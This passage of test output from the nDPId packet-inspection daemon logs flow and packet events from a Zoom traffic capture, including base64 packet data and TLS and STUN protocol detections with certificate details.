+00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"zoom.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1569520469081,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"13.225.84.182","src_port":54798,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00405{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":81864,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAog\/0AAEAG0h7AqAF1DeFUttYOAbuSOQajVAdu1VAQECZHdwAA"} +01098{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":90576,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMx8Tl2KDc3AG3ICABFAAItAABAAEAGAvbAqAF1NMo+7tZQAbuf1vAclW0+lVAYIABOFwAAFgMBAgABAAH8AwOmdJtxNFfMjcfLUUPitDEoY1B0Di2UTNnlfk3BbUb8gQAAoMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBLACAAWABMAEAANwA3AAwAKAP8BAAEzAAAAEAAOAAALbG9nLnpvb20udXMACwAEAwABAgAKABwAGgAXABkAHAAbABgAGgAWAA4ADQALAAwACQAKAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQEzdAAAABAACwAJCGh0dHAvMS4xABUAtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00717{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"zoom.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1569520468959,"flow_last_seen":1569520469090,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.238","src_port":54864,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"log.zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00414{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":116573,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoaEVAAO8G\/tUN4VS2wKgBdQG71g5UB27VAAAAAFAEAADwhQAAAAAAAAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"zoom.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1569520469189,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.37.14","src_port":23903,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":189810,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABICu4AAEAR5YzAqAF1ov8lDl1fDZYANPtTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00412{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":198772,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAomZxAAO4GvV00yj7uwKgBdQG71lCVbT6Vn9byIVAQAAc78QAAAAAAAAAA"} +00449{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":200030,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABISukAAEARpZHAqAF1ov8lDl1fDZYANPtTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +02362{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":200490,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUmZ1AAO4Gt7A0yj7uwKgBdQG71lCVbT6Vn9byIVAQAAeKkQAAFgMDAG8CAABrAwPKBG+U7JBJp\/TJvGn\/5vHfMAxvAOs319BxkInNVvKs4iBEnxtkHLKnJnbfgOPDa6YYCrRzCw8CsnIEvO6S8a2H8sAvAAAjAAAAAP8BAAEAAAsABAMAAQIADwABATN0AAkIaHR0cC8xLjEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RA"} +00773{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":37,"source":"zoom.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1569520468959,"flow_last_seen":1569520469200,"flow_tot_l4_data_len":2125,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.238","src_port":54864,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"log.zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02360{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":200864,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUmZ5AAO4Gt680yj7uwKgBdQG71lCVbURBn9byIVAQAAcz9QAAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAEAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8M"} +00404{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":200897,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBPvAqAF1NMo+7tZQAbuf1vIhlW1J7VAQH6UQ+wAA"} +02370{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":200992,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUmZ9AAO4Gt640yj7uwKgBdQG71lCVbUntn9byIVAQAAeiOwAAYaq\/5Cob7oSeuIN9wUPORKcTcA2RH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXnoQPvVdws1rpH6CGU7vvfP9pC+BIw7eTC8gKVMSsXRRnN2zKpS8xCDeqbm+MvJviV10kga+Xl5yErWysN0xm82GRESDkvjCfeqQpCbDhNF9kdxhAUd+MMKavAAQEMIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24g"} +02100{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":201006,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"KDc3AG3IEBMx8Tl2CABFAAUMmaBAAO4GuHU0yj7uwKgBdQG71lCVbU+Zn9byIVAYAAeZngAAQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d\/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv2vLM0D9\/AlQiVBDYsoHUwHU9S3\/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i\/ojgC95\/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta\/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4\/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLEsNKR1EwRcbNhyz2h\/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h\/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1\/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQHmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0\/ZM\/iZx4mERdEr\/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX\/bvZ8WAwMBTQwAAUkDABdBBDh8Aw8C0MDl8tMausROinCdGxJr2yDjEllyL6CDIBpiOo5ElRKFW6illxbfO4fGLOT2+PdrbbSVI4WyXzN0+8YGAQEAhf7EvIx7llF3vVP7sI3llftFOPHvoqTRVmFuoxDs6GA9k1sVBOv2K7CYxcN0X83amYJHgI+Okt+y7Y6OF1PutSOwItqZAUf8dFJ3+lj6W5lEa7JbIw1EGCibJb3Hc6KwMbojBzg\/9JQZiaATR5qs96bH3j9rMOdsB5FjoDugpPRZX9jS0woZD7hNeCQ3y4suENB2EQszf7fbvCmzwJHG2lm+J+rsWiqn\/Rjd5XJ\/TsduJwCiQE5+UwX9n6kCmXlt+adLA0rPbpcAsx4AC4QlPBMwcFgW2C+Y7ARZFTy0TuJ3tMbhx1CbzyJ9qXdSoAoDSBU4uVgfhZ2H3V4lXGO0DBYDAwAEDgAAAA=="} +01097{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":41,"source":"zoom.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":10,"flow_first_seen":1569520468959,"flow_last_seen":1569520469201,"flow_tot_l4_data_len":6361,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":636,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.238","src_port":54864,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"log.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","alpn":"http\/1.1","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00405{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":201034,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBPvAqAF1NMo+7tZQAbuf1vIhlW1UfVAQH1AGwAAA"} +00406{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":210158,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBPvAqAF1NMo+7tZQAbuf1vIhlW1UfVAQH\/UGGwAA"} +00449{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":210161,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIjkkAAEARYjHAqAF1ov8lDl1fDZYANPtTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"zoom.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":3,"flow_first_seen":1569520469189,"flow_last_seen":1569520469210,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.37.14","src_port":23903,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Zoom","breed":"Acceptable","category":"Video"}} +00665{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":213587,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"EBMx8Tl2KDc3AG3ICABFAADnAABAAEAGBDzAqAF1NMo+7tZQAbuf1vIhlW1UfVAYIACAegAAFgMDAEYQAABCQQQjGEBOObJ+DhlTuJpBuERf8kVIYtG2ojzXUr+Qc\/qFuzlhGoH8jfBDSm0BNio42JODYjFyPt3i9jdU3gJlOG5EFAMDAAEBFgMDADzioxr48wHmsP3inQeKwolQJP6cUPekSozeWjPdbu+65VEbzFhq+O0LamqzrEPZJWGEBZkJoHT5jM+ODroWAwMAKOKjGvjzAeaxSy0LryEIH34ipy1+DSUIvLInQLqarGRThGZWEx+gSog="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"zoom.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1569520469221,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","src_port":23903,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 